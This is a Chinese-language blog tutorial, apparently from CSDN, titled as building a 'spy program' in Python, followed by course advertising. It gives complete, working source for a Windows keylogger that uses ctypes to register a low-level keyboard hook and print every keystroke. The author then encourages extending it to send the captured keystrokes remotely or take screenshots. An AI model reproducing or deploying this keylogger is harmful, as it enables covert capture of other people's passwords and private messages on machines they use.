用python打造一款间谍程序

我们常听说:如果要操作某个软件或者监听某个软件的话,可以使用钩子(Hook)钩住软件,那这是如何操作的呢?用Python又如何实现呢?

本教程我们将通过注册Hook打造一款间谍程序,来监听win系统的笔记本,先给大家演示下效果吧!

一、Hook 技术

程序的基本原理在于通过注册Hook,记录系统事件。

那么什么是Hook呢?

Hook 技术又叫做钩子函数,系统在调用函数之前,钩子程序就先捕获该消息,钩子函数先得到控制权,这时钩子函数既可以加工处理(改变)该函数的执行行为,还可以强制结束消息的传递

注册Hook时我们需要使用到两个DLL库:user32.dllkernel32.dll。这两个DLL有什么用处呢:

  • user32.dll:是Windows用户界面相关应用程序接口,用于包括Windows处理,基本用户界面等特性,如创建窗口和发送消息

  • kernel32.dll:控制着系统的内存管理、数据的输入输出操作和中断处理

二、实现

了解了钩子的用处,那我们就来正式开始实现吧!

1.注册钩子

首先我们需要先注册Hook到系统上,通过user32.dll中的SetWindowsHookExA函数我们可以在系统上注册钩子。

![](https://mmbiz.qpic.cn/mmbiz_jpg/lbvmSLlcGOicvib6xHKK8mLMicRgI1qEdxmePpSHreXhiaQcOjITzO4xC171FhXenH3njGmUrBUlFGiaiaicicvHAtO3HQ/640?wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1)

通过查看 微软官方文档(https://docs.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-setwindowshookexa) ,我们看到SetWindowsHookExA函数的参数及参数类型如上所示。

我们简单介绍一下关于这几个参数的含义:

  1. idHook:钩子的类型,可以监听消息、键盘、鼠标等等,这里我们来监视低级键盘输入事件作为案例演示!

  2. lpfn:钩子函数,这里就表示你监听到事件后要怎么处理,核心作用!

  3. hmod:DLL句柄(类似编号),我们可以使用kernel32中的GetModuleHandleW来获取句柄

  4. dwThreadId:我们填入0代表与同一桌面上所有的线程关联

上图中的代码我们可以看出使用的是C++语法,这时候Python中的 ctypes库 就可以助我们一臂之力!

ctypes 是 Python 的外部函数库。它提供了与 C 兼容的数据类型,并允许调用 DLL 或共享库中的函数。可使用该模块以纯 Python 形式对这些库进行封装。

Python使用ctypes库注册钩子代码:

from ctypes import CDLL``   ``
user32 = CDLL("user32.dll")``kernel32 = CDLL("kernel32.dll")``   ``
user32.SetWindowsHookExA(13, handleProc, kernel32.GetModuleHandleW(), 0)

更多关于 ctypes库 使用教程可查看Python官方文档:

https://docs.python.org/zh-cn/3.7/library/ctypes.html

2.编写钩子函数

上面我们说过 **监视低级键盘输入事件(WH_KEYBOARD_LL)**作为案例演示!

而监听键盘事件(WH_KEYBOARD_LL)会使用LowLevelKeyboardProc回调函数,同时我们也需要在Python定义它!

我们再次使用Python的 ctypes库定义一个回调函数!

def hookProc(nCode, wParam, lParam):``
if nCode < 0:``return user32.CallNextHookEx(hooked, nCode, wParam, lParam)``else:``
# 此处插入我们的代码``
pass``return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

3.删除Hook

最后在我们退出程序时还需要删除Hook,不然大量的Hook会使系统运行缓慢。

虽然在Windows 7及更高版本上,该钩子会被静默删除而不被调用。

但是应用程序无法知道挂钩是否已删除,我们还是主动进行删除。

删除需要使用user32.dllUnhookWindowsHookEx。

def uninstallHookProc(hooked):``
if hooked is None:``return`    `
user32.UnhookWindowsHookEx(hooked)`    `
hooked = None

完整的钩子函数:

def hookProc(nCode, wParam, lParam):``
if nCode < 0:``return user32.CallNextHookEx(hooked, nCode, wParam, lParam)``else:``
if wParam == 256:``if 162 == lParam.contents.value:`                `
print("Ctrl pressed, call Hook uninstall()")`                `
uninstallHookProc(hooked)`                `
sys.exit(-1)`            `capsLock = user32.GetKeyState(20)``if lParam.contents.value == 13:`                `print("\n")``elif capsLock:`                `
print(chr(lParam.contents.value), end="")``else:`                `print(chr(lParam.contents.value + 32), end="")``
return user32.CallNextHookEx(hooked, nCode, wParam, lParam)

4.声明原型

钩子函数已经写好了,但是这是Python函数,如何将它转成c++函数呢?这样windows才能读取。

通过ctypes文档我们可以得知Windows下使用WINFUNCTYPE来声明函数原型!

将创建好的Python函数声明为c++函数:

# 创建声明,c_int表示函数入参类型``
HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))``
# 声明函数原型``
handleProc = HOOKPROC(hookProc)

最后我们将已经已经声明好的函数原型handleProc,传入最开始注册的钩子函数里:

user32.SetWindowsHookExA(13, handleProc, kernel32.GetModuleHandleW(), 0)

5.完整代码

上面的4步基本是主要的流程,一些更详细的操作这里不再过多介绍,给出全部代码,不到100行。

import sys``from ctypes import *``
from ctypes.wintypes 
import DWORD, HHOOK, HINSTANCE, MSG, WPARAM, LPARAM``   ``
user32 = CDLL("user32.dll")``kernel32 = CDLL("kernel32.dll")``   ``   ``
class KBDLLHOOKSTRUCT(Structure):`    `_fields_ = [`        `('vkCode', DWORD),`        `('scanCode', DWORD),`        `('flags', DWORD),`        `('time', DWORD),`        `('dwExtraInfo', DWORD)]``   ``   ``def uninstallHookProc(hooked):``
if hooked is None:``return`    `user32.UnhookWindowsHookEx(hooked)`    `hooked = None``   ``   ``def hookProc(nCode, wParam, lParam):``if nCode < 0:``return user32.CallNextHookEx(hooked, nCode, wParam, lParam)``else:``if wParam == 256:``if 162 == lParam.contents.value:`                `print("Ctrl pressed, call Hook uninstall()")`                `uninstallHookProc(hooked)`                `sys.exit(-1)`            `capsLock = user32.GetKeyState(20)``
# kb_struct = cast(lParam, POINTER(KBDLLHOOKSTRUCT))``
if lParam.contents.value==13:`                `print("\n")``elif capsLock:`                `print(chr(lParam.contents.value),end="")``else:`                `print(chr(lParam.contents.value+32),end="")``return user32.CallNextHookEx(hooked, nCode, wParam, lParam)``   ``   ``def startKeyLog():`    `msg = MSG()`    `user32.GetMessageA(byref(msg), 0, 0, 0)``   ``   ``def installHookProc(hooked, pointer):`    `hooked = user32.SetWindowsHookExA(``13,`        `pointer,`        `kernel32.GetModuleHandleW(),``0`    `)``if not hooked:``return False``return True``   ``   ``HOOKPROC = WINFUNCTYPE(c_int, c_int, c_int, POINTER(DWORD))``pointer = HOOKPROC(hookProc)``hooked = None``if installHookProc(hooked, pointer):`    `print("Hook installed")``try:`        `msg = MSG()`        `user32.GetMessageA(byref(msg), 0, 0, 0)``except KeyboardInterrupt as kerror:`        `uninstallHookProc(hooked)`        `print("Hook uninstall...")``else:`    `print("Hook installed error")

Windows系统的同学可以试试效果哦~

三、总结

本次教程给大家简单的介绍了下:在Python中如何使用ctypes库调用Windows API。

当然,上面我们监听到消息之后还可以远程发送或者截屏保存等等操作都可以,期待大家的骚操作哦!

如果你觉得文章还不错,请大家 点赞、分享、留言 下,因为这将是我持续输出更多优质文章的最强动力!


如果想要系统学习Python、Python问题咨询,或者考虑做一些工作以外的副业,都可以扫描二维码添加微信,围观朋友圈一起交流学习。

我们还为大家准备了Python资料和副业项目合集,感兴趣的小伙伴快来找我领取一起交流学习哦!

关于Python学习指南

学好 Python 不论是就业还是做副业赚钱都不错,但要学会 Python 还是要有一个学习规划。最后给大家分享一份全套的 Python 学习资料,给那些想学习 Python 的小伙伴们一点帮助!

包括:Python激活码+安装包、Python web开发,Python爬虫,Python数据分析,人工智能、自动化办公等学习教程。带你从零基础系统性的学好Python!

👉Python所有方向的学习路线👈

Python所有方向路线就是把Python常用的技术点做整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。(全套教程文末领取)

在这里插入图片描述

👉Python学习视频600合集👈

观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。

在这里插入图片描述

温馨提示:篇幅有限,已打包文件夹,获取方式在:文末
👉Python70个实战练手案例&源码👈

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。

在这里插入图片描述

👉Python大厂面试资料👈

我们学习Python必然是为了找到高薪的工作,下面这些面试题是来自阿里、腾讯、字节等一线互联网大厂最新的面试资料,并且有阿里大佬给出了权威的解答,刷完这一套面试资料相信大家都能找到满意的工作。

在这里插入图片描述

在这里插入图片描述

👉Python副业兼职路线&方法👈

学好 Python 不论是就业还是做副业赚钱都不错,但要学会兼职接单还是要有一个学习规划。

在这里插入图片描述

👉 这份完整版的Python全套学习资料已经上传,朋友们如果需要可以扫描下方CSDN官方认证二维码或者点击链接免费领取保证100%免费

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值